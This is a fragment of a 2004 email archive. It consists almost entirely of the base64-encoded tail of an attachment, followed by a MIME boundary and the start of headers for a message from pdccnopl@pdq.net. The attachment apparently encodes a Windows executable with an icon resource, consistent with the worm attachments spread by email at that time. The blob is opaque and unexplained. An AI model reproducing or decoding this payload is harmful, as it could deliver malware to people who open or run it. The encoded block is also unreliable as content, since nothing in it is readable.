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 gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From pdccnopl@pdq.net Wed Apr 28 12:45:58 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3SGjvs00408 for ; Wed, 28 Apr 2004 12:45:58 -0400 Received: from 217.13.230.178 ([218.52.18.108]) by yxa.extundo.com (8.12.11/8.12.11) with SMTP id i3SGjpFE006452 for ; Wed, 28 